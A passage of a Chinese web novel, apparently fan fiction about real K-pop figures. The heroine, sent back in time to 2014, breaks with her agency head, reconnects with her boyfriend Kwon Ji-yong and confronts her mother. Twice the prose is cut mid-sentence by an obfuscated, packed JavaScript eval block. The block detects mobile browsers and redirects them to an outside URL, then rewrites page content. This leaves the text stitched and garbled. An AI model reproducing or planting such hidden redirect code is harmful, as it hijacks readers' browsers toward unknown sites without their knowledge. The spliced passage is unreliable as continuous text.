“我知道的事情比您想象的多得多,社长,我知道你不想只做一个娱乐公司的社长,但您只有这样的能力和命运,就安静一些,安分一些,这样才能活得长久又平安。” 江留月想了想,又补充道:“您当然可以对外说一些类似于我疯了,精神状态不适合当艺人之类的话,那样的话,我就会像是您说的那样,像是个疯子一样直接杀了您————这当然是开玩笑的。” 江留月笑了笑。 她因长期不爱出门而皮肤白的都有些发青,漆黑的眸子漆黑的发,自认为缓和气氛的微微一笑,在杨贤石看来如同恶鬼索命,直接吓到他噤声。 杨贤石此人吧,表现得像是吃软不吃硬,实则是吃硬不吃软,你也是卑微,他越是高高在上,你若是抽他一顿,他反而会退步三分。 江留月本想在他跟前粉饰太平安静过完续约之前的日子,但仔细一想,的确没有半点必要,她有钱有人有颜值,还有来自十年后精进何止三分的唱功,被电视剧电影轮番淬炼的演技,YG这碗饭,她踹翻了也到处是吃席的好地方,根本不用费劲儿跟杨贤石演什么YGfamliy的温情戏码。 再说了,又有多温情? 封建大家长和他的牛马们罢了。 回忆起自己被YG死死地拿捏的十年,江留月也觉得很离奇,没有镣铐也没有把柄,仅凭着少年时期些许的温暖和曾是她进入娱乐圈踏板的少许恩情,她就这样被道德绑架拿捏了如此之久,绑在她这头“大象”脖子上的绳索早就腐朽不已,她竟从未想过试着挣脱。 如今轻轻一扯,她便自由了,只觉得神清气爽。 她便不再过多纠缠,只想转身离去,为了新专辑,她还多得是要忙的地方。 “你这么干,志龙会怎么想?” 杨贤石大概是硬要找回点场子,眼看江留月要扬长而去,急忙丢出自己的王牌。 江留月果真回头,微微皱眉。 杨贤石心里才安定片刻,却又见她微微一笑。 “什么怎么想呢?大概会觉得我,可爱,危险,又迷人吧?” 8.迷人又危险的反派角色 08.迷人又危险的反派角色 江留月从杨贤石的办公室出来,外面的人个个都缩着脑袋装作没看到她的样子,他们也许没听到里面具体争执的内容,但那噼里啪啦摔东西的阵仗绝对不小,想也知道里面必然闹得天翻地覆,因此个个都想远离漩涡的中心。 江留月目不斜视的经过了这些人,走到电梯前的时候,秘书处的人像是忽然反应过来一样冲过来帮她按电梯。 “Alice XI, 请让我来吧。” 毕恭毕敬的语气,带着冷汗的额头,悄悄打量的眼神中有着按捺不住的八卦之火,察觉到江留月直勾勾看过来的时候,对方又赶紧低下了头。 江留月关于十年前的记忆十分模糊,并不能想出来对方的名字,她也没有去想的打算,微微颔首算作道谢,径直进了电梯。 忽然之间撕破了脸,事情一时之间稍微脱轨了,按照杨贤石那睚眦必报的性格,她的专辑发行之路想必不会太顺利。 不过这不是她需要担心的事情,比起区区一张专辑,来自未来的她很清楚,比起这方小小土地,内娱才是她真正的舞台,就算是要唱歌,她的发音方式和台风也更偏向于日本唱片市场对歌姬的审美。 韩国市场并不适合她,反而掩盖了她的光芒,她多年来一直穿着不合脚的鞋在跌跌撞撞的行走,这条路在艰难的同时,反而通向她事业的下坡路。 说起来,从最初开始,她就从来没想过要当一名歌手。 对唱歌没有热爱之情,对舞台也没有什么敬畏之心,老实讲YG的风格也并不适合她,大家总是调侃“Alice是那种一看就属于S&M公司的歌手,因为太美貌了”这种话,其实也是在侧面说明,不管是审美还是台风甚至是歌曲风格,她都并不适合YG。 只是,因为本身特殊的成长背景,她理所当然成为了YG不可分割的一份子,艰难的在这块歌手比赛中攥着自己的及格分卷子接受批判,从2008年正式发行自己的第一张专辑到2014年的六年间,她饱受争议和质疑,事业上屡受挫折的她转而向身边的人寻求稳定安全的正面反馈,任凭自己沉沦在个人情绪中逐渐溺毙。 从电梯出来的江留月路过了展示墙,她的照片就在BB的旁边的第二顺位,上面的她穿着色彩饱和度极高的衣服涂抹着前卫到有些夸张的妆容,视觉冲击大到她自己都停顿了片刻,才认出自己的模样。 当然,她的前卫与夸张和将她夹在最中间的BB和2NE1相比,就有些小巫见大巫了(尤其是留着海带汤的权志龙与扎着冲天辫的山达拉),强烈的色彩,夸张的造型,耀眼的灯球,江留月站在走廊,一时之间呼吸都顿了片刻。 ……虽然说时尚的完成看脸,但也不是什么时尚都能用脸拯救的。 “塔伊!!!” 她正在思考这个时候公司里负责宣发的人是谁要怎么挑选照片给换掉这张海报的时候,忽然听到了急促的互换。 来不及回头,她就被猛然抓住了,然后就被人拽进了怀里又拉出来。 江留月一整个头晕眼花,任凭权志龙将她从头发丝检查到脚底板。 “怎、怎么了?” “你没事吧?我听说贤石哥他……”权志龙鼻尖带着点透明的汗水,他呼吸也很急促,说话断断续续的:“我不是说了吗,你可以不去的,为什么一个人去了呢,挨骂了吗?” 江留月愣神了一下,忽然有些想笑。 她回到十年前不过两三天,怎么每次见到权志龙,他都是这样急匆匆的跑过来,紧紧地攥着她的手腕,一副大难临头的苦瓜脸呢? “笑什么?怎么了?” 权志龙眨了眨眼睛,他的睫毛并不卷翘,但细而纤长,淡褐色的眸子因此覆盖上细密的阴影,看起来颇为慑人。 他松开了江留月的手腕,平复了一下呼吸,伸出手将她有些乱的头发捋到耳后,在他自己都没有察觉的时候,因为江留月的笑,而勾起了嘴唇,声音里也带上了轻快又无奈的笑意:“你这孩子怎么啦,一个人笑个不停。” “我没有挨骂。” 只是骂了人而已。 江留月露出乖巧的表情,她有两个很浅很浅的酒窝,真的很浅,要她故意同时翘起两边嘴角再把腮帮子鼓起来才能看到,这样笑着的她,太乖太甜了,权志龙的心不由自主的这一刻融化,像是看到忽然抬起粉爪子招手的小猫一样。 “知道了,是哥太担心你了。”他情不自禁的屏住呼吸靠近江留月,他能闻到对方身上传来的类似于清茶混合着竹子的香味。 他忍不住凑近吻了一下江留月的额侧,手想要抱紧她,又像是不知道要怎么抱住一束光,一弯河流一样,竟有些无措的抬起来不知道怎么放下。 这一切都好虚幻。 他模模糊糊的想,这也太不真实了,他的塔伊,是不是很久没有这样真正平和而甜蜜的笑过了? 他想要努力回忆一下她之前的样子,却发现脑子里闪过的,尽是一些灰扑扑的伤心的破碎的眼睛。 有和他吵完架通红的湿润的双眼,有在录音室焦躁的咬着笔头干涸发红的双眼,有总是望着不知道什么地方的虚无的双眼——那里面折射着无数摄像头的红点。 他的心头涌上密密麻麻的疼痛与愧疚,他忽然觉得自己做得很不好。 为什么要说伤人的话,为什么看到她流泪却转身离开,为什么在听到她心碎的声音的时候却只觉得烦躁。 明明知道她很好哄。 为什么不肯哄一哄? ————因为知道,很好哄啊。 就像是太听话的小狗,因为太听话而感到无聊的时候,就故意躲起来甚至把小狗丢掉,看着小狗着急的寻找主人,看着小狗害怕的样子,为了感受小狗激烈的情绪,为了在出现的那一刻看到小狗不顾一切向着自己跑过来。 不是不喜欢,而是,想感受到更加浓烈的爱意。 ——令人憎恶的坏男人。 ——那XX。 “我写了三首歌给你,不要在意社长的话,这次专辑会很好的。”权志龙没由来的用保证的语气说道,他的手终于落在了实处:他将怀里的人抱紧,将自己的尖下巴放在她的肩胛骨上,鼻尖磨蹭着她的侧脸。 “塔伊啊,夸夸哥。” “我还没听到歌呢,怎么能夸你,万一我不喜欢怎么办。” 江留月百无聊赖的说道,她并不拒绝权志龙的亲密,而是歪着头看着权志龙背后正在转动的摄像头。 让她猜猜是谁那么变态在摄像头后面偷窥。 是无能狂怒嫉妒成性的男婆婆吗? 江留月对摄像头做了个鬼脸。 “呀,你……你在质疑我的能力吗?嗯?” 权志龙张嘴就咬了一口江留月的脸蛋。 “啊!!痛!!你这疯子!!” 江留月痛的哇哇叫,一巴掌呼在权志龙的脸上,权志龙眼珠子都瞪大了,然后捂着自己通红的脸,啼笑皆非的看着她。 “呀~~~痛~~~真的很痛啊~~” “……哥你咬我,我就不痛了吗?!” 江留月怒道。 权志龙撇撇嘴,露出一张流氓嘴脸:“我只是在收自己歌曲的费用罢了!” 江留月冷笑一声,抬起脚,对着他的脚丫子就跺了下去。 权志龙疼的声音都没了,直接捂着脚蹲了下去。 江留月冷笑道:“我只是在走路罢了。”(指的是权志龙挡道了) 最终,两个人都左脸蛋红通通 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权志龙用手按住外面的话筒开关,只觉得她是被这惊喜冲昏了脑袋,又觉得她呆呆看着自己的样子,可爱得让他心脏蜷缩。 十三岁一边哭一边跌跌撞撞跟在他身后,十五岁完不成作曲老师作业红着眼睛求自己帮忙,十六岁那样用亮晶晶的藏不住喜欢和崇拜的眼睛盯着自己操作录音设备,十七岁第一次站在录音棚里被话筒撞到门牙,十八岁发第一张专辑之后哭着搂住自己的脖子说‘谢谢你哥’,如今二十三岁了,还是会透过录音室的玻璃,用圆圆的眼睛看着自己,像是在等一个可以呼吸的指令。 “……快唱呀,第一遍都要结束了。” 权志龙自然而然的唱出了那句歌词,他在歌词本上涂抹了无数次,又在某个看到她的瞬间,从脑海里挨个蹦出来的话语: “……我爱你,离别和再次相逢里重合的时间,数百次和我心跳一起重复的告白,好像也只有,我爱你而已。” * 2020年,YG公司某工作人员的INS意外泄露了未发表歌曲,当时对外宣称,这首歌本要作为bp某位成员的SOLO曲,。 这首备注为《sadness》的歌曲作词者作曲者都不详,与歌曲名字不同的是,展示了哀怨却缠绵的恋慕之情,歌词讲述恋人短暂分开期间失落和思念以及期盼着两人再次团聚的强烈情感,虽仅曝光先导demo,却一度抢占热搜榜单。 有趣的是,这首歌曲的风格与BP以及YG任何一位歌手的风格都不算完全贴合,甚至可以说是YG对曲风这块的全新尝试,因此坊间也有猜测是否是YG招募了新的作曲家准备为旗下歌手进行转型尝试。 随后,YG公司火速发表声明,对该歌曲作者等问题闭口不谈,仅公开宣布因泄露原因,这首歌取消正式发表,YG公司后将歌词剥除之后重新录制纯音乐版本,后投入社交平台作为素材纯音乐使用,直至4年后依然是经久不衰的热门素材。 除此之外,关于《sadness》还有一个小小的插曲,那就是,泄露demo的那天,正好是内娱顶流江明月的生日。 但这只是个小小的巧合,极少数的人对此有过联想,但也只敢圈地用代码偷偷发言,因为害怕给自己正主招黑,很快也删掉了。 很快,就像是越来越少有人提起江明月的本名江留月一样,极少数人也快速忘记了这说不上有联系的巧合。 娱乐圈还是那么精彩,江明月作为顶流每天都有新消息和动态传出,它们一层一层如同浪花扑在海岸,很快将过去的痕迹冲刷得一干二净,再无痕迹。 9.happiest 09. happiest 这次录制并不成功。 江留月从录音室出来的时候脸色很差,权志龙抿着嘴,努力想找个话题安慰她,却一时之间也不知道说什么好。 作为制作人的原则让他不能昧着良心说那气息紊乱几乎全部跑调的声音可以用在专辑里,但是作为男友的身份让他看着江留月那发白的小脸与额头上细密的汗水又说不出一句苛责。 “没事,看来是太久没有唱歌了,练习一下我们再重新开始就好了。” 他挥挥手示意调音老师离开,自己则张开手臂,示意江留月到他的怀里来。 江留月站在距离他两步的地方不再动,手撑着桌子,抿着嘴,表情有些恍惚。 权志龙脚下一蹬,遛着椅子滑了过去,顺手将人往自己怀里一拉,声音温柔的安抚道:“怎么啦塔伊,我们塔伊,没事的,只是一次失误,我们不是都知道你能做得很好吗?” 他抬起头,用修长的手指抚摸上江留月的脸颊,因为光线的原因,他淡色的瞳孔变得色彩深重,如同漩涡,里面只有令人溺毙的温柔。 “没关系的。” 他一遍遍的轻声哄着,说着“kenqiana”,江留月精神恍惚的看着他,凄婉的哀愁与强烈的情绪在她胸口沸腾,几乎要立刻决堤崩塌。 “哥,为什么这样对我啊。” 她也声音轻轻地问道。 “为什么那么温柔的……” 权志龙被她逗笑了。 他抽了张纸巾给江留月擦去额头细密的汗水,又拨开她黏在脸颊上的发丝:“说什么胡话呢,你这孩子,我不对你这样,我还能对谁这样啊。” 意料之中的答案。 带着甜蜜滋味的情话。 江留月只看到一张细密的铺天盖地的网朝着自己扑了过来。 一层一层又一层,逐渐密不通风。 令人窒息。 大家似乎都觉得外表酷酷的权志龙是个霸道的恋人,但他其实是个心软又温柔到近乎没有底线的人,他甚至欣然接受恋人给予的伤害和疼痛,漫不经心的将自己的心掏出来放在恋人的手心。 ‘只是个玩具罢了,随你高兴。’ 那么轻飘飘的,漫不经心的,带着惨烈底色的偏执爱意。 江留月不合时宜的开始怨恨他这样的令人贪恋的温柔。 “为什么要这样对我。” 她声音变得哽咽起来。 这时候,权志龙才觉得有些不对,他有些慌乱,又有些无措,看到泪珠掉在自己手背上的时候,他吓了一跳。 “怎么了怎么了,为什么呀,为什么哭了,没关系的,我都说了没关系,是你最近身体不好才没有发挥好,baby呀,是真的,再试几次的话,我们一定能做好的……塔伊?” 权志龙不明所以的看着江留月的泪水一颗颗流下来,红红的眼圈,晶莹剔透的泪水一颗颗滚落,可即便如此,她的眸子里还是盛满了快要溢出来的委屈,怎么就那么多的泪水呢,权志龙擦不过来,心慌意乱中,手竟然有些发抖。 他的心都要被自己的恋人碾碎了。 是雨夜里试图起飞的蝴蝶。 是承载不住露水的蝉翼。 是走丢在路口脏兮兮的瘸着腿的小猫。 他心烦意乱,试图迁怒于身边的一切,包括自己写的那两首歌,懊悔自己是不是选择了不适合她的曲风,又或者没考虑好她的音色;又懊悔应该先好好的带上两遍,也不应该让调音老师直接过来,大概让这孩子觉得太过丢脸了;又或者…… 是社长让她受了委屈,她忍到了现在吗? 是之前删掉的游戏数据让她伤心吗? 他有些不知所措的把江留月抱在怀里,好像这样就能将那些难过的情绪从她的身上强硬的抹除一般。 “我做错了,好不好。” 权志龙用近乎撒娇的口吻说道。 江留月的眼泪却流的更凶了。 歌曲的旋律在她的脑子里反复奏响,不是《sadness》,是《happiest》,不是意外泄漏的音源,是不被察觉、不被接受、不被承认,也不被遗忘的眷恋。 可为什么要让她知道呢? 为什么是2024年的江明月知道,而非2014年的江留月知道呢。 【在我发现可以重来的时候,我反复告诫自己不要重蹈覆辙,我确认自己不再爱你。】 【可在每个瞬间,我都像是在反复确认,你对我的爱。】 【这始终被感知到,被包裹到,被倾注着的真心里。】 【我很痛苦。】 “你不喜欢这首歌,是不是。” 权志龙叹息着说道:“没关系的,OPPA再给你写。” “不要这样。”江留月摇了摇头:“不要这样,哥,不要这样,我不喜欢这样。” 权志龙以为她是因为唱不好歌在伤心了,于是便不再说这个话题,他将人拉着坐在自己的膝盖上。 “饿不饿?” 他摸了摸江留月的肚子。 “啊~好像是饿了,我们去吃点好吃的,然后让心情变得好一点,好不好?” 真奇怪啊。 作为爱豆歌手,明明饮食应该是一把克制的锁链,韩国又是出了名的饮食贫瘠,但江留月好像没有吃过这个苦。 不,不是的。 她吃过很多很多的苦,一个人的贫穷,最先表现在这个人的欲求上,年纪小的时候,整天都吃不够油水,要是能满足的吃上一顿,就能抚平好久的忍耐与痛苦。 她想起来在练习室里哭着练舞的时候,没有基础的她磕磕绊绊的,暖气不足的房间里又冷又饿,在权志龙骂人的时候,终于忍不住嚎啕大哭。 权志龙骂人的脸忽然凝固,他有些窘迫的抿了抿嘴,伸手很没有礼貌的摸了摸小姑娘的腹部,然后说:‘谁让你不吃饭就来练习的,你是不是故意的。’ 江留月哭到低血糖,眼睛红肿的瞪着他,恶狠狠地像是一只炸毛的猫。 权志龙忽然生出一种会被挠的恐惧,闪躲的避开眼神,丢下一句“今天练不会你就死在这吧”转身离去。 江留月哭到头晕目眩,躺在地板上不动,只觉得自己要死在这里。 片刻之后,权志龙进来要来取她狗命了。 她抬起头,露出脖子,求个痛快。 面前铺上了报纸。 “你要放我的血……是吗?” 江留月虚弱的问道, 回答她的是放在报纸上的外卖盒,冒着热气的汤面散发着辛辣的油润香味和些许海鲜的腥味,旁边又放上一碟炸得金灿灿的锅包肉,权志龙掰开筷子互相摩擦掉上面的毛刺,又拆开泡菜和萝卜。 江留月吸了吸鼻子挣扎着坐了起来,她艰难的吞咽着口水。 权志龙眯着眼睛,端起碗,开始将面条夹起来,充分展示其魅力之后又放下去。 江留月直勾勾的盯着,像是个看着肉骨头的小狗。 权志龙抿着嘴重复数次动作之后,忽然侧过头,肩膀颤抖片刻。 江留月发现,他在憋笑。 被羞辱的感觉涌上心头,她的眼泪不争气的再次滚出来,热气熏得她的鼻涕也蠢蠢欲动,她感觉到人中痒痒的,约莫是透明的产物。 “啊西八!!!不要哭!!不许哭!!!” 权志龙一回头被她吓一跳:“啊脏死了!你看你那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江留月的地位越来越高,离开权志龙之后,更是如此。 随着她的地位增高,也许是得到的太多了,她也失去了很多,比如说,食欲和饥饿感。 在遍地美食,地广物博的国内,她却经常捧着营养专家定制的水煮菜,用叉子恹恹的吃一点,也许是太少摄入食物,身体在提出抗议,她耳边忽然一阵耳鸣。 像是碳火在噼里啪啦的炸裂。 江留月猛然睁开眼睛。 她先看到权志龙的双眼,然后感受到他抚摸着自己后背和肚子的两只手,这两只手都很温暖,即便在暖气十足的房间里,也存在感十足。 “……我想吃烤肉,哥,我想吃烤肉。” 她抽噎道。 权志龙松了口气,然后有些荒唐的笑了笑,恨恨地掐了一下她的腰。 “好,我们现在去吧。” 现在是下午三点。 但谁也不在乎。 话是这么说。 但谁也没有动。 权志龙将椅背调整靠后,人靠在上面,怀里搂着自己还在抽噎的恋人,手习惯性的抚摸着她的耳垂。江留月搂着权志龙的脖子趴在他的肩膀上,她的脸依恋地贴着他的脖颈,那里还很干净,没有两年后张扬的刺青。 “这首歌……我要把它作为主打曲,”江留月喃喃地说道:“权志龙,你真厉害,写出那么好听的歌……” “要是我能再早一些听见就好了。” 10.人生的选择 10. 自从发现自己穿越到2014之后,江留月就在思考一个问题。 那就是这段已经被证实为并非梦境的穿越,到底能维持多久? 她到底有没有权力为【2014年的江留月】做出人生的选择? 这段思考很快给了她答案。 答案是,可以。 因为,她才是这个世界上最了解自己的人。 所以她雷厉风行的开始筹划专辑,开始发微博回流粉丝,开始经常网上营业,开始联系一些国内的公关公司,准备营销一些自己的热门词条。 此时的内娱里,微博依然是宣传的头条之重,短视频尚未崛起,爱豆演员们也没开始一个个使用直播暴露自己的本质,扭转口碑对于本身也没干啥坏事的她来说,并不算难。 只需要利用好自己的美貌和YG如今三大的地位,她很轻松的运营起了自己的话题度。 甚至于为了快速获得热度,她厚颜无耻的将自己算进二代团,在各类盘点中买商务买进前几名,成功掀起对立骂战。 【救,Alice也能算二代女团吗?她只能算演员吧,up主盘点都不做功课吗?】 【笑,她和二代男团女团都合作过,绕不开是真的,而且这是盘点门面,不是盘点唱功的,论脸她就是很能打啊。】 【除了脸和绯闻一无是处。】 【被美貌震撼……2012年入坑kp的人从未见过她的舞台……YG在想什么还不让她回归……】 【笑死,我2010入坑也从未见过她的舞台,我一直以为她是个演员……】 【指路YGfamily演唱会】 【她竟然是YG的?!?!?!!?】 【盘点团队的话算女solo没意义吧】 诸如此类的言论逐渐多了起来,江留月立刻又通过国内的朋友买起了商务,借着话题度做了几个自己的科普视频。 平心而论,虽然YG没有认真为她再做过歌手专辑,但她每年的通告和露脸机会还是很多的,刚出道的时候也是拿了一位和新人赏、最具期待奖之类的奖杯的。 如此盘点下来,大多数人都不尽唏嘘,路过的对家都要说一声可惜,如此半卖惨半宣传,好歹是将她的话题度炒热了起来,微博粉丝也跟着涨了十几万。 这些YG是一概不知的,倒是S&M这种重视中国市场的公司敏锐的嗅到了什么,江留月知道他们公司的宣传部正在打探YG是否有想要去中国市场发展的意图,关系较好的记者们也在旁敲侧击的约她出去喝茶。 这时候,江留月反而要感谢YG这满公司摆烂的神奇风格,让她得以抓紧操控自己命运的方向盘。 自从上次录制不顺之后,权志龙提出把这两首歌曲修改一下,江留月觉得没有必要,以她目前的实力,不管是录制还是舞台都是手拿把掐。 但权志龙对舞台嗅觉敏锐,她担心突兀的成长会引起权志龙的注意,她明显偏向于日本歌姬的发音方式和舞台风格,也会让周围人感到疑惑。 江留月决定找个借口去日本住上几个月,假装自己去学习深造,好让这一切能变得理所当然,在这之前,她还要把自己身边不干净的东西都清扫干净,换几个得力的助手来。 江留月现在身边除了YG配备的经纪人南思风外,还有一个经纪人,一个商务经理和两个助理,一个化妆师,化妆师阿苍是她在国内拍杂志的时候带回来的,可以信任,其余四个人里分别是经纪人崔载国,商务经理李顺英,助理华东烨与文恩彩。 崔载国是崔胜铉推荐给她的,表面上是崔家的远方宗亲,家里地位低,年轻的时候给崔家本家当司机,算是半个自己人,但实际上,他是江留月的父亲柳天赐的拜把子兄弟,算是崔家和柳家放在她这里的监视器。【注】 商务经理李顺英,是权志龙英语老师的亲弟弟,她接的每个工作都会被他完整汇报给权志龙,权志龙因此明里暗里搞黄了她几次有些尺度的邀约。 助理华东烨是YG配的,没什么能力,但性格很好,总是笑呵呵的,2015年之后,江留月回国发展他就自动离职了,倒没什么好说的。 文恩彩,原本是个女练习生,后面因为年纪太大了放弃了当爱豆,转行当了助理,是个性格相对冷淡的女人,但是工作总是完成的很好,江留月回国发展的时候有想法带她一起去,她刚开始同意了,后面不知道为什么又反悔了,从此再没见过。 只要不是有着强烈的事业心,江留月身边的工作人员日子还是比较好过的,江留月脾气好,没什么架子也没什么怪癖,除了她和权志龙这段被曝光就大家一起GG的恋情外,没什么可操心的地方。 南思风就更不用说了,这位说起来还很有趣,他是因为想去当演员失败了,因此来YG竞选经纪人,主要目的是想借着艺人的东风来搭上人脉,对于YG交给自己的工作反而兴趣缺缺,江留月好多次看到他在拍摄现场热忱的跟导演PD们套近乎。 可惜这位属于“氛围感帅哥”,放下刘海穿着有垫肩的西装大衣还勉强能看,撩起刘海就是让人倒吸一口冷气的见光死,因此一直也没能有什么成果。 正因为他把心思都用在了自己的身上,反而让江留月得到了自由感,因此江留月从来没管过他,没料到的是,大约在2018年左右,这位哥下了狠心用多年积蓄给自己来了个整容大全套,竟然从此改头换面,在韩国成了小有名气的温柔系男演员。 当时他刚有一些名气,又演了一部在内娱反响不错的电视剧,于是又联系上了江留月,想借她在中国的东风来炒一下绯闻,江留月自然不会搭理他,这人又不死心,自顾自的在各种综艺和采访里cue起了江留月。 然后,就没有然后了。 这位野心勃勃的演员忽然销声匿迹了。 他那些胡编乱造的言论也在一夕之间就消失了。 取而代之的是,权志龙忽然和某位容貌和江留月酷似的后辈暧昧了起来,两个人一起去旅游的新闻霸榜一周,南思风的那点儿热度,不用风吹就散了。 对此,金优的评价是:“上不得台面的东西。” 哦,对了,金优。 江留月后知后觉的想起了这个人。 她打算提前换掉南思风和崔载国,那就需要一个得力的助手来管理商务方面的空白,这个人不仅要值得信任,还要熟悉中韩语言以及圈内情况,金优无疑是最合适的对象。 金优虽然是中国人,初高中是在加拿大读书,高中时期,他父母离异了,母亲嫁给了韩国的一个艺术家,他随母亲来到韩国生活。 在知道金优这个人的时候,江留月就为她和金优人生之间惊人的相似度而记住了这个人,尤其是发现对方的继父和柳天赐是竞争对手的时候,就格外有兴趣结交他这个朋友了。 只是,此时距离她和金优认识,还有将近一年的时间。 江留月躺在落地窗前的躺椅上,看着金红色的太阳缓缓在地平线融化,温暖的光晕从屋顶缓缓坠落,直到变成漆黑的沉默。 绚烂的霓虹在窗外交织成缓缓流动的河流,江留月放任自己的思绪在河流中流淌,直到身后开门的声音打断了她的思绪。 她下意识的以为是权志龙,却又想到,自己身在自己购买的公寓中,这是她想要独处才回来的地方,权志龙并不会擅自过来。 “谁?” 几乎是瞬间,她就警惕的高声询问到。 来不及转身,她只听到门边的脚步声猛然停住了。 江留月汗毛直立,下意识的抓住了身边一个金属摆件的支架,呼吸也顿住,然后,她听见了一个陌生又熟悉的声音。 “你在家啊。” 江留月的身上狠狠地滑过恶寒。 她的手甚至一直没有松开支架,而是直接拎着转过神来,然后,在客厅洒进来的灯光里,她看到了那张和她极为相似的脸。 她的嘴唇嗫嚅了一下,寒意从脊梁骨滚到头部,又倾盆倒到脚底。 “怎么了?话都不说了?” 乔娜皱着眉看着她。 她生下江留月的时候,仅仅只有21岁,如今也不过四十五岁,养尊处优的生活和韩国发达的医美让她看起来娇艳得如同带着露水的玫瑰,根本看不出她是个“母亲”,即便她和江留月容貌上的酷似,也只会让人认为这是一对风格迥异的姐妹花。 江留月呼吸颤抖了片刻,喉咙艰难地吞咽片刻。 “妈。” 她说出话,才听到自己沙哑的声音。 她下意识的中文让乔娜微微皱眉。 “要叫我omonin,为什么总是记不住呢。” 乔娜用韩语纠正她道。 江留月没有说话,她的手松开了支架,那个金属摆件落在地上砸到了她自己的脚,疼痛唤醒了她的理智,但她只是抖了一下。 她看着乔娜自来熟的走进她的房间打开了灯,然后在明亮的灯光下拉开了她的衣柜,熟练的在衣柜中翻找起来。 衣柜里装满了各品牌方送来的衣服和首饰,也有一些商务往来收到的奢侈品,有些包装都还没拆,乔娜就将衣服直接从袋子里拿出来,拎着衣架走到落地镜面前往自己身上比划。 江留月这时候才找回了神智。 她看着此时光彩熠熠的乔娜,又叫了一声:“妈妈。” 依然是中文,乔娜不悦的回过头:“别那样叫我,不都让你说韩……哦莫,你怎么了?塔伊啊?” 乔娜惊愕的看着眼前的女儿,她似乎很不舒服的在发抖,她没走过去的时候,就能看到灯光洒在她的脸上,映衬得她满脸的泪痕都在闪闪发光。 “妈妈。” 江留月又叫了一声,她哽咽着,胡乱喘着气,眼泪纷纷落下。 乔娜只好走过去,依然用韩语问道: “whei?”(怎么了?) 江留月听到她的话,却猛然笑了一声,似乎觉得荒谬,又像是觉得释然。 她扶住了旁边躺椅的把手好让自己不瘫软在地上,脸上却依然是带着泪水的笑容。 “a……mu……dou……ao……busouyo,omonin。”(什么都没有,妈妈。) 是乔娜。 她美丽的母亲。 本有着令所有人都羡慕的一切的大家闺秀乔娜,本一生都循规蹈矩的活着,来韩国看望身为外交官的未婚夫期间遇到了自己命定的爱人柳天赐。 遇见这个人之后,似乎前半辈子所经历的一切都寡淡无味,她和对方偷尝禁果又暗怀珠胎,即便要和家人断绝关系,也要怀着这个不被承认的孩子躲在乡下偷偷生下。 谁知孩子才出生,便知道柳天赐点燃了家里关押他的房子试图逃脱,结果自己反而葬身火海的消息。 从那之后,乔娜将抚养这个孩子长大,延续爱人血脉作为头等大事,她带着尚在襁褓的孩子回了国,过了一阵子捉襟见肘的日子之后,她便“被迫屈服”于身份尊贵的前未婚夫。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14449219|151195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>那个人显然是很爱她的,将她和那个孩子一并收留,并让这个孩子冠以自己的形式,取名江留月。 可即便如此,乔娜郁郁寡欢,她怨恨曾经阻碍她和柳天赐的每个人,她绝望的偏激让她数次做出可怕的行为。 乔娜一定觉得这样的日子如同地狱,她还活着,无非就是报以一丝希望,幻想着柳天赐并没有死,她对捧上来的真心和爱不屑一顾,无论是丈夫,还是挚友,亦或是总是用渴望的眼神看着她却不敢靠近的年幼的小女儿。 上天也许真的垂怜她这样苦命的人,柳天赐的确没有死,当年他只是受伤住院,所谓的死亡,不过是柳家为了让她死心才放出的消息,待到父母一死,柳天赐接管了柳家,就迫不及待的来寻找她回去。 乔娜自然是什么都不要的,她想要的只有柳天赐。 她再度舍弃自己的家人,自己的丈夫,自己的祖国,甚至是语言。 她给自己重新取了韩国名字,从此说韩语,像是这样就能摒弃那些并不真心爱她的人。 唯独不能被丢弃的,是他们之间爱情的结晶。 可这昔日的结晶,如今像是破碎的钻石一样无往不利的撕碎她的伪装。 她的出轨,无媒苟合,她的未婚生子,她的落魄时光,她的委曲求全。 ————还有柳天赐长达十四年的躲避和懦弱。 乔娜从小娇生惯养,她要的样样都是最好的,容不得瑕疵。 于是,江留月也该如此完美才对。 她应该是自己与恋人两情相悦的产物,该是众人祝福下的结晶,他们一家三口,应该从一开始就生活在韩国,从未有过什么别的什么。 这就是乔娜应该有的人生。 她梦想的人生。 不对。 这就是乔娜,为自己设定好的人生。 她不会允许这段人生中出现任何缺点。 她是如此的热烈的爱着和享受着自己的人生。 “我这样漂亮吧。” 乔娜将一条白色的大裙摆缎裙在自己身上比划着。 江留月擦去自己脸上已经半干的泪痕,缓缓地呼出了一口气。 “嗯,很漂亮,你一直都,这样漂亮。” 哪怕是你死去的那一天。 你也非常的漂亮。 在你死去的每一天,我都怨恨自己也许跟你缺少沟通,为自己的躲避而感到愧疚和心碎。 我也曾经在你的墓碑前,一次次的哭泣,妈妈妈妈妈妈。 妈妈,我问你,为了一个男人,为了一段感情,就连“自己的存在”都抹去,将自己人生所有的价值和意义都注入所谓的“爱情”中,这样的一生,你真的幸福吗? “漂亮就行,你爸爸的展览馆马上就有新秀了,我打算穿这条裙子参加开幕式,呀,塔伊,这条裙子是不是限量款?你爸爸一定爱死了,他就是喜欢我穿白色的裙子,说这样看起来又清纯又可爱。” 妈妈。 永远穿着白裙子,永远清纯可爱的人……是不会活在现实中的。 这样抹胸剪裁的大裙摆公主裙已经不再适合你了。 不是你不美丽。 不是你值得被爱了。 不是你的错。 妈妈,我闯入那个人的婚礼。 他的新娘清纯又可爱,穿着白色的婚纱。 他一直喜欢的就是这样的,白色的裙子,年轻的脸庞,清纯又可爱。 所以从我有记忆开始,你一直穿成这样,似乎从来没有改变过。 妈妈。 “永远不会变”。 是我看向你的双眼。 从不是那薄情的背叛。 “塔伊,你在听吗?” 江留月捂着嘴咳嗽了两声,当做回答。 